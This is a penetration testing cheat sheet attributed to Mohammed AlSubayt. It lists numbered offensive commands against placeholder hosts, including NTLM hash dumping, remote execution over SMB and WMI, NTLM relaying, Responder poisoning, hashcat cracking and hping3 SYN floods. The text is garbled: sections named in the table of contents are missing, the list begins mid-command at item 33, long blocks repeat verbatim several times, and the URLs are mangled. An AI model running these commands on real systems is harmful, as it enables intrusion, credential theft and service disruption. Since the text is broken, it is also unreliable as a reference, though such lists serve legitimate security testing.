Penetration Testing Commands
Penetration Testing Commands
Testing Commands
Prepared by
Mohammed AlSubayt
By Mohammed AlSubayt
Table of Contents
Nmap Commands 2
Metasploit Commands 4
Nikto Commands 6
Sqlmap Commands 7
Hydra Commands 8
Aircrack-ng Commands 11
Other Commands 13
By Mohammed AlSubayt
Nmap Commands
-dc-ip 192.168.1.1
33 impacket-secretsdump -just-dc-ntlm 192.168.1.1 Dump NTLM hashes from a domain
controller.
34 impacket-psexec -target 192.168.1.1 -u user -p Remote command execution via
password SMB.
35 impacket-wmiexec -target 192.168.1.1 -u user -p Remote command execution via
password WMI.
36 impacket-smbexec -target 192.168.1.1 -u user -p Remote command execution via
password SMB.
37 sslscan 192.168.1.1 SSL/TLS scanner to detect
supported protocols and ciphers.
38 sslyze --regular 192.168.1.1 SSL/TLS configuration scanner.
39 openssl s_client -connect 192.168.1.1:443 Test SSL/TLS connection to a
server.
40 testssl.sh 192.168.1.1 Test SSL/TLS security on a server.
41 curl -I http://192.168.1.1 Fetch HTTP headers to gather
information about the server.
42 curl -X POST -d "username=admin&password=1234" Send HTTP POST request to login
http://192.168.1.1/login.php form.
43 curl -O http://192.168.1.1/file.txt Download a file from a web server.
44 curl -H "User-Agent: Mozilla/5.0" http://192.168.1.1 Send a request with a custom User-
Agent header.
45 curl -k https://192.168.1.1 Ignore SSL certificate errors.
46 dirb http://192.168.1.1 /path/to/wordlist Directory brute-forcing to discover
hidden files and directories.
By Mohammed AlSubayt
47 gobuster dir -u http://192.168.1.1 -w Directory brute-forcing using
/path/to/wordlist Gobuster.
48 wfuzz -c -z file,/path/to/wordlist -u Fuzzing tool to discover hidden files
http://192.168.1.1/FUZZ or directories.
49 ffuf -w /path/to/wordlist -u Fast web fuzzer for discovering
http://192.168.1.1/FUZZ hidden files and directories.
50 wfuzz -c -z file,/path/to/wordlist -b Fuzz URLs with session cookies.
"cookie=SESSIONID" -u http://192.168.1.1/FUZZ
51 zap-baseline.py -t http://192.168.1.1 Automated scan using OWASP ZAP
baseline scan.
52 droopescan scan drupal -u http://192.168.1.1 Scan Drupal CMS for vulnerabilities.
53 joomscan --url http://192.168.1.1 Scan Joomla CMS for vulnerabilities.
54 wpscan --url http://192.168.1.1 --enumerate u Enumerate WordPress users.
55 wpscan --url http://192.168.1.1 --plugins-detection Detect WordPress plugins.
mixed
56 searchsploit Search for exploit code using
Exploit-DB.
57 searchsploit -m 12345 Mirror an exploit to the current
directory.
58 ike-scan 192.168.1.1 Scan and identify IKE VPN servers.
59 yersinia Network attack tool for Layer 2
protocols.
60 mitmf Man-in-the-middle framework for
network attacks.
61 setoolkit Social engineering toolkit for
phishing and other attacks.
62 beef Browser Exploitation Framework
for client-side attacks.
63 netcat -nv 192.168.1.1 80 Simple TCP connection to test a
specific port.
64 netcat -lvp 4444 Listen for incoming connections on
port 4444.
65 netcat -zv 192.168.1.1 1-65535 Scan all ports using Netcat.
66 smbclient -L //192.168.1.1 -U username List SMB shares on a remote server.
67 smbmap -H 192.168.1.1 -u username -p password Enumerate SMB shares and
permissions.
68 impacket-smbclient //192.168.1.1/share -user SMB client from Impacket toolkit.
username
69 ldapsearch -h 192.168.1.1 -x -b LDAP enumeration.
"dc=example,dc=com"
70 cewl http://192.168.1.1 -w wordlist.txt Generate a custom wordlist from a
website.
71 wfuzz -c -z file,/path/to/wordlist -u Fuzz URLs for hidden files and
http://192.168.1.1/FUZZ directories.
72 dnsenum example.com DNS enumeration tool for finding
subdomains.
By Mohammed AlSubayt
73 dnsrecon -d example.com -t brt -D Brute-force DNS subdomains.
/path/to/wordlist.txt
74 dnsenum --enum example.com Comprehensive DNS enumeration.
75 dnsmap example.com DNS mapping and subdomain
discovery tool.
76 masscan -p1-65535 192.168.1.1 Fast port scanner for large
networks.
77 zmap -p 80 192.168.1.0/24 Fast network scanner focused on
speed.
78 recon-ng Web reconnaissance framework for
information gathering.
79 fping -a -g 192.168.1.0/24 Ping sweep to discover live hosts.
80 hping3 -1 192.168.1.1 Send ICMP echo request to test
connectivity.
81 hping3 -S 192.168.1.1 -p 80 Send TCP SYN packet to test if port
80 is open.
82 hping3 -A 192.168.1.1 -p 80 Send TCP ACK packet to test if port
80 is open.
83 hping3 -2 192.168.1.1 -p 53 Send UDP packet to test if port 53 is
open.
84 hping3 -8 80 -c 1000 -S 192.168.1.1 Send 1000 SYN packets to port 80
to test for SYN flood.
85 hping3 -Q -p 80 -s 192.168.1.1 Sequence number analysis for TCP
ports.
86 fping -a -g 192.168.1.0/24 Ping sweep to discover live hosts.
87 hping3 --flood -V -p 80 192.168.1.1 Send continuous SYN packets to
flood a specific port.
88 masscan -p80,443 192.168.1.0/24 Fast port scanner for large
networks.
89 zmap -p 80 192.168.1.0/24 Fast network scanner focused on
speed.
90 whois example.com Retrieve domain registration
information.
91 dig example.com any Retrieve DNS records for a domain.
92 nslookup example.com Retrieve DNS records using
nslookup.
93 fierce -dns example.com DNS reconnaissance and
enumeration tool.
94 dmitry -winsepfb http://192.168.1.1 Deepmagic Information Gathering
Tool.
95 theHarvester -d example.com -l 500 -b google Gather emails, subdomains, and
other information from search
engines.
96 maltego Open-source intelligence and
forensics application.
97 spiderfoot Automate OSINT gathering and
analysis.
By Mohammed AlSubayt
98 ike-scan 192.168.1.1 Scan and identify IKE VPN servers.
99 searchsploit Search for exploit code using
Exploit-DB.
100 searchsploit -m 12345 Mirror an exploit to the current
directory.
101 setoolkit Social engineering toolkit for
phishing and other attacks.
102 beef Browser Exploitation Framework
for client-side attacks.
103 netcat -nv 192.168.1.1 80 Simple TCP connection to test a
specific port.
104 netcat -lvp 4444 Listen for incoming connections on
port 4444.
105 netcat -zv 192.168.1.1 1-65535 Scan all ports using Netcat.
106 smbclient -L //192.168.1.1 -U username List SMB shares on a remote server.
107 smbmap -H 192.168.1.1 -u username -p password Enumerate SMB shares and
permissions.
108 impacket-smbclient //192.168.1.1/share -user SMB client from Impacket toolkit.
username
109 ldapsearch -h 192.168.1.1 -x -b LDAP enumeration.
"dc=example,dc=com"
110 cewl http://192.168.1.1 -w wordlist.txt Generate a custom wordlist from a
website.
111 wfuzz -c -z file,/path/to/wordlist -u Fuzz URLs for hidden files and
http://192.168.1.1/FUZZ directories.
112 dnsenum example.com DNS enumeration tool for finding
subdomains.
113 dnsrecon -d example.com -t brt -D Brute-force DNS subdomains.
/path/to/wordlist.txt
114 dnsenum --enum example.com Comprehensive DNS enumeration.
115 dnsmap example.com DNS mapping and subdomain
discovery tool.
116 masscan -p1-65535 192.168.1.1 Fast port scanner for large
networks.
117 zmap -p 80 192.168.1.0/24 Fast network scanner focused on
speed.
118 recon-ng Web reconnaissance framework for
information gathering.
119 fping -a -g 192.168.1.0/24 Ping sweep to discover live hosts.
120 hping3 -1 192.168.1.1 Send ICMP echo request to test
connectivity.
121 hping3 -S 192.168.1.1 -p 80 Send TCP SYN packet to test if port
80 is open.
122 hping3 -A 192.168.1.1 -p 80 Send TCP ACK packet to test if port
80 is open.
123 hping3 -2 192.168.1.1 -p 53 Send UDP packet to test if port 53 is
open.
By Mohammed AlSubayt
124 hping3 -8 80 -c 1000 -S 192.168.1.1 Send 1000 SYN packets to port 80
to test for SYN flood.
125 hping3 -Q -p 80 -s 192.168.1.1 Sequence number analysis for TCP
ports.
126 fping -a -g 192.168.1.0/24 Ping sweep to discover live hosts.
127 hping3 --flood -V -p 80 192.168.1.1 Send continuous SYN packets to
flood a specific port.
128 masscan -p80,443 192.168.1.0/24 Fast port scanner for large
networks.
129 zmap -p 80 192.168.1.0/24 Fast network scanner focused on
speed.
130 whois example.com Retrieve domain registration
information.
131 dig example.com any Retrieve DNS records for a domain.
132 nslookup example.com Retrieve DNS records using
nslookup.
133 fierce -dns example.com DNS reconnaissance and
enumeration tool.
134 dmitry -winsepfb http://192.168.1.1 Deepmagic Information Gathering
Tool.
135 theHarvester -d example.com -l 500 -b google Gather emails, subdomains, and
other information from search
engines.
136 maltego Open-source intelligence and
forensics application.
137 spiderfoot Automate OSINT gathering and
analysis.
138 ike-scan 192.168.1.1 Scan and identify IKE VPN servers.
139 searchsploit Search for exploit code using
Exploit-DB.
140 searchsploit -m 12345 Mirror an exploit to the current
directory.
141 responder -I eth0 Network poisoning tool to capture
SMB/NTLM hashes.
142 ntlmrelayx.py -smb2support -i Relay captured NTLM hashes to
SMB service.
143 smbrelayx.py -h 192.168.1.1 -c "whoami" Relay NTLM hashes to execute
commands on the target.
144 responder -I eth0 -w Run Responder in full analysis
mode.
145 hashcat -a 0 -m 0 /path/to/hashfile High-performance password
/path/to/wordlist cracking.
146 hashcat -a 3 -m 0 /path/to/hashfile ?a?a?a?a?a?a Mask attack with brute-force for
passwords of length 6.
147 hashcat -a 3 -m 1000 /path/to/hashfile ?l?l?l?l Mask attack with lowercase letters
for NTLM hashes.
By Mohammed AlSubayt
148 hashcat -a 0 -m 1800 /path/to/hashfile Dictionary attack on SHA-512
/path/to/wordlist hashes.
149 hashcat -a 1 -m 0 /path/to/hashfile Combinator attack using two
/path/to/wordlist /path/to/rules wordlists.
150 hashcat -a 6 -m 0 /path/to/hashfile Hybrid attack with dictionary and
/path/to/wordlist ?d?d 2-digit suffix.
151 setoolkit Social engineering toolkit for
phishing and other attacks.
152 beef Browser Exploitation Framework
for client-side attacks.
153 netcat -nv 192.168.1.1 80 Simple TCP connection to test a
specific port.
154 netcat -lvp 4444 Listen for incoming connections on
port 4444.
155 netcat -zv 192.168.1.1 1-65535 Scan all ports using Netcat.
156 smbclient -L //192.168.1.1 -U username List SMB shares on a remote server.
157 smbmap -H 192.168.1.1 -u username -p password Enumerate SMB shares and
permissions.
158 impacket-smbclient //192.168.1.1/share -user SMB client from Impacket toolkit.
username
159 ldapsearch -h 192.168.1.1 -x -b LDAP enumeration.
"dc=example,dc=com"
160 cewl http://192.168.1.1 -w wordlist.txt Generate a custom wordlist from a
website.
161 wfuzz -c -z file,/path/to/wordlist -u Fuzz URLs for hidden files and
http://192.168.1.1/FUZZ directories.
162 dnsenum example.com DNS enumeration tool for finding
subdomains.
163 dnsrecon -d example.com -t brt -D Brute-force DNS subdomains.
/path/to/wordlist.txt
164 dnsenum --enum example.com Comprehensive DNS enumeration.
165 dnsmap example.com DNS mapping and subdomain
discovery tool.
166 masscan -p1-65535 192.168.1.1 Fast port scanner for large
networks.
167 zmap -p 80 192.168.1.0/24 Fast network scanner focused on
speed.
168 recon-ng Web reconnaissance framework for
information gathering.
169 fping -a -g 192.168.1.0/24 Ping sweep to discover live hosts.
170 hping3 -1 192.168.1.1 Send ICMP echo request to test
connectivity.
171 hping3 -S 192.168.1.1 -p 80 Send TCP SYN packet to test if port
80 is open.
172 hping3 -A 192.168.1.1 -p 80 Send TCP ACK packet to test if port
80 is open.
By Mohammed AlSubayt
173 hping3 -2 192.168.1.1 -p 53 Send UDP packet to test if port 53 is
open.
174 hping3 -8 80 -c 1000 -S 192.168.1.1 Send 1000 SYN packets to port 80
to test for SYN flood.
175 hping3 -Q -p 80 -s 192.168.1.1 Sequence number analysis for TCP
ports.
176 fping -a -g 192.168.1.0/24 Ping sweep to discover live hosts.
177 hping3 --flood -V -p 80 192.168.1.1 Send continuous SYN packets to
flood a specific port.
178 masscan -p80,443 192.168.1.0/24 Fast port scanner for large
networks.
179 zmap -p 80 192.168.1.0/24 Fast network scanner focused on
speed.
180 whois example.com Retrieve domain registration
information.
181 dig example.com any Retrieve DNS records for a domain.
182 nslookup example.com Retrieve DNS records using
nslookup.
183 fierce -dns example.com DNS reconnaissance and
enumeration tool.
184 dmitry -winsepfb http://192.168.1.1 Deepmagic Information Gathering
Tool.
185 theHarvester -d example.com -l 500 -b google Gather emails, subdomains, and
other information from search
engines.
186 maltego Open-source intelligence and
forensics application.
187 spiderfoot Automate OSINT gathering and
analysis.
188 ike-scan 192.168.1.1 Scan and identify IKE VPN servers.
189 searchsploit Search for exploit code using
Exploit-DB.
190 searchsploit -m 12345 Mirror an exploit to the current
directory.
191 responder -I eth0 Network poisoning tool to capture
SMB/NTLM hashes.
192 ntlmrelayx.py -smb2support -i Relay captured NTLM hashes to
SMB service.
193 smbrelayx.py -h 192.168.1.1 -c "whoami" Relay NTLM hashes to execute
commands on the target.
194 responder -I eth0 -w Run Responder in full analysis
mode.
195 hashcat -a 0 -m 0 /path/to/hashfile High-performance password
/path/to/wordlist cracking.
196 hashcat -a 3 -m 0 /path/to/hashfile ?a?a?a?a?a?a Mask attack with brute-force for
passwords of length 6.
By Mohammed AlSubayt
197 hashcat -a 3 -m 1000 /path/to/hashfile ?l?l?l?l Mask attack with lowercase letters
for NTLM hashes.
198 hashcat -a 0 -m 1800 /path/to/hashfile Dictionary attack on SHA-512
/path/to/wordlist hashes.
199 hashcat -a 1 -m 0 /path/to/hashfile Combinator attack using two
/path/to/wordlist /path/to/rules wordlists.
200 hashcat -a 6 -m 0 /path/to/hashfile Hybrid attack with dictionary and
/path/to/wordlist ?d?d 2-digit suffix.